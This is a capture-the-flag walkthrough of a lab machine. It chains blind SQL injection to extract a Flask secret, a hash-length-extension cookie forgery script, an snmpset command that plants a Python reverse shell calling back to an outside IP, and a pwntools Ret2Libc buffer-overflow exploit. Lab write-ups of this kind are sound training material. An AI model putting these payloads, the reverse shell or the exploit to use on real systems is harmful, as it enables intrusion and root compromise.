Learn how to identify hidden vulnerabilities in web applications, server configurations, and code to improve your skills and ensure the highest level of security for your own projects. Why is it important? Using these testing methods helps prevent hacks, optimize system protection, and increase overall security. Learn from best practices and stay one step ahead of cyber threats.
We continue publishing solutions submitted for finalization by machines from the HackTheBox platform. This article discusses obtaining a Flask secret key via SQL injection, performing a cryptographic attack on message extension, obtaining an RCE using SNMP, and exploiting a buffer overflow vulnerability via the Ret2Libc attack.
This machine has an IP address of 10.10.10.195, which we add to /etc/hosts.
10.10.10.195 intence.htb
First of all, we scan open ports.
#!/bin/bash ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) nmap -p$ports -A $1
nmap -sU intence.htb
Only SNMP, a web server, and SSH are available on the target host. After navigating to the site, it becomes clear that guest login is required, and source codes are provided for analysis.
Let’s log in to get an idea of the site structure.
So we can submit something, let’s go to the Submit page.
We will not test anything, since we have the source codes. We download and review them one by one. From the admin.py file we see the administrator’s capabilities – to browse directories and read files. We also understand that flask is used.
The app.py file shows that the Submit request uses the database and does not filter user data.
We also note the method of creating cookies.
Let’s move on to the lwt.py file, which handles sessions. We note the secret length and cookie structure.
And in the last file we see the database query itself and the principle of checking user privileges.
All clear, let’s look at the cookie.
We can easily decode this string using flask-session-cookie-manager.
But we need the admin secret.
Let’s try to get it using SQL injection in Submit. So, we have the following INSERT query:
INSERT INTO messages VALUES ('%s')
Therefore, our query should be executed in the following structure:
' AND ( SELECT ... ) ) -- -
Then the full database query would be:
INSERT INTO messages VALUES ('' AND ( SELECT ... ) ) -- - ')
If there are no comments, then this:
INSERT INTO messages VALUES ('' AND ( SELECT ... ) )
In the query itself, we will use the following structure:
SELECT CASE WHEN () - THEN 1 - ELSE MATCH - END
Then if the request can be executed, we will get the response ‘OK’, otherwise the error ‘unable to use function MATCH in the requested context’.
We can recognize the secret stored in the users table. Moreover, we know the secret of the guest user (role = 0). Considering that we are using SQLite database, let’s find out the length of the secret (since we know it, we will determine the reaction to the correct and incorrect request) using the following insert into the query (instead of XXX our number):
' and (select case when ((select length(secret) from users where role=0)=XXX) then 1 else match(1,1) end)) -- -
Now let’s check the character-by-character extraction of the secret. The following construction will help here (NUM is the serial number of the character, and XXX is the character itself).
' and (select case when ((select substr(secret,NUM,1) from users where role=0)='XXX') then 1 else match(1,1) end)) -- -
Thus, all assumptions are confirmed. That is, we can find out the secret of the user with role=1. Its length (since it is a hash) is 64.
Let’s go to Intruder and set the following settings.
And let’s launch the attack. After a few seconds, we will get the execution result. We will set a filter that will exclude all responses where there is “MATCH”. And we will see 64 lines. We sort them by payload1 (character position).
Select all lines and save only payload2 to the file.
And let’s see our secret.
We can’t just take this secret and put it in a cookie. But we can perform an HLE attack. We can perform the attack with the following code, which uses the hashpumpy library.
import hashpumpy import binascii import requests from base64 import * url = "http://intence.htb/admin" new_notice = ';username=admin;secret=f1fc12010c094016def791e1435ddfdcaeccf8250e36630c0bc93285c2971105;' old_cookie = "dXNlcm5hbWU9Z3Vlc3Q7c2VjcmV0PTg0OTgzYzYwZjdkYWFkYzFjYjg2OTg2MjFmODAyYzBkOWY5YTNjM2MyOTVjODEwNzQ4ZmIwNDgxMTVjMTg2ZWM7.atnwv4CK60D2CllL+KoPOT7nlxrkm3604YnlMZuII8s=" data_cookie = b64decode(old_cookie.split('.')[0]) sign_cookie = b64decode(old_cookie.split('.')[1]) for offset in range(1,64): print("Find offset: " + str(offset), end='\r') (new_sign, new_data) = hashpumpy.hashpump(binascii.hexlify(sign_cookie), data_cookie, new_notice, offset) new_cookie = b64encode(new_data) + b"." + b64encode(binascii.unhexlify(new_sign)) r = requests.get(url, cookies = { "auth" : new_cookie.decode('utf-8')}) if r.status_code == 200: print("Offset found: " + str(offset)) print("Admin cookie: " + new_cookie.decode('utf-8')) break
And we get the admin cookies, insert them on the website.
Okay, we have elevated privileges.
Let’s check if we can read files and browse directories.
Great. From the /etc/passwd file, we will mark the user user and SNMP.
And we take the first flag.
Let’s look at the SNMP configuration file. From it we get the password that will allow us to create records (rwcommunity).
Let’s create an entry containing a Python reverse shell. To do this, we need to fill in the following fields:
nsExtendStatus."command" nsExtendCommand."R4command" nsExtendArgs."R4command"
Install snmp-mibs-downloader.
apt install snmp-mibs-downloader
And now let’s create a record.
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 intence.htb 'nsExtendStatus."R4command"' = createAndGo 'nsExtendCommand."R4command"' = /usr/bin/python3 'nsExtendArgs."R4command"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.112\",4321));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'
To do this we need to know the object OID. There is a very good website that can help.
So the object OID is 1.3.6.1.4.1.8072.1.3.2. We execute the command and get a backconnection.
snmpwalk -v 2c -c SuP3RPrivCom90 intence.htb 1.3.6.1.4.1.8072.1.3.2
Let’s get a normal bash and see the user’s home directory.
We find the executable and source code. Using netcat, we copy the files to the local machine for analysis.
From the program’s source code, we learn that it listens on port 5001.
Let’s check.
So we have found the LPE vector. This program listens on local port 5001 and runs as root. The SNMP user does not have an interactive shell (it was marked in /etc/passwd) but we can tunnel the port using SSH. Let’s generate a key and write authorized_keys on the remote machine.
And now we wake up the port.
ssh -i id_rsa -N -L 5001:127.0.0.1:5001 [email protected]
Great. Let’s start analyzing the program.
We find out what library the program uses using GDB, and then copy it using the method we used before.
And don’t forget to check the protection used.
So we have random addressing, a canary, and an unimplementable stack. First, let’s write an exploit template.
#!/usr/bin/python3 from pwn import * HOST = '127.0.0.1' PORT = 5001 context(os='linux', arch='amd64') binary = ELF('./note', checksec=False) libc = ELF('./libc-2.27.so', checksec=False) r = remote(HOST, PORT) r.interactive()
Let’s look at the functionality of the program. From the source code it becomes clear that we can create, copy and read notes. Let’s implement these functions. When writing, we must send 1 byte = 0x01, and after that 1 byte — the size of the message and the message itself.
def W(s): r.send(p8(1)) r.send(p8(len(s))) r.send(s)
Copying requires 0x02, two bytes of offset and one byte of size.
def CPY(offset, size): r.send(p8(2)) r.send(p16(offset)) r.send(p8(size))
And for reading only byte 0x03.
def R(size): r.send(p8(3)) return r.recv(size)
And the buffer size is 1024.
We can overflow the buffer, but we need to know the values of the canary and the RBP and RIP registers. We can find them thanks to the CPY function, finding out the data about the offset 1024. But first we need to occupy them. Since we can only write 255 bytes at a time, we need to write 255 characters 4 times and add 4 bytes the fifth time. And then read 1056 bytes and separate 32 bytes after our buffer.
[ W("A"*255) for _ in range(4) ] W("A"*4) CPY(1024, 32) post_buf = R(1056)[1024:] _CANARY = u64(post_buf[8:16]) _RBP = u64(post_buf[16:24]) _RIP = u64(post_buf[24:32]) print("CANARY: " + hex(_CANARY)) print("RBP: " + hex(_RBP)) print("RIP: " + hex(_RIP))
Knowing the RIP and knowing the relative exit address of the function, we can calculate the address at which the program is loaded.
binary.address = _RIP - 0xf54
And we will use the ROP class to get the address of the write function (we have already thoroughly discussed ROP).
rop_binary = ROP(binary) rop_binary.write(4, binary.got['write']) r = remote(HOST, PORT) payload = p64(0xDEAD) + p64(_CANARY) + p64(_RBP) + rop_binary.chain() # 72 W(payload) [ W("A"*255) for _ in range(3) ] W("A"*187) CPY(0, len(payload)) R(1024 + len(payload)) libc_write = u64(r.recv(8)) print("Leak: " + hex(libc_write))
And let’s calculate the address where LIBC is loaded.
libc.address = libc_write -libc.symbols['write'] print("LIBC address: "+ hex(libc.address))
libc_rop = ROP(libc) libc_rop.dup2(4, 0) libc_rop.dup2(4, 1) libc_rop.execve(next(libc.search(b"/bin/sh\x00")), 0, 0) r = remote(HOST, PORT) payload = p64(0xDEAD) + p64(_CANARY) + p64(_RBP) + libc_rop.chain() # 152 W(payload) [ W("A"*255) for _ in range(3) ] W("A"*107) CPY(0, len(payload)) R(1024 + len(payload))
As always, I’m showing the full code in a picture.
The article covers the entire process of exploiting vulnerabilities in the HackTheBox task, from analyzing available services and source code to successfully gaining privileged access. Various techniques were used, including SQL injection, message extension cryptographic attack, RCE via SNMP, and Ret2Libc attack.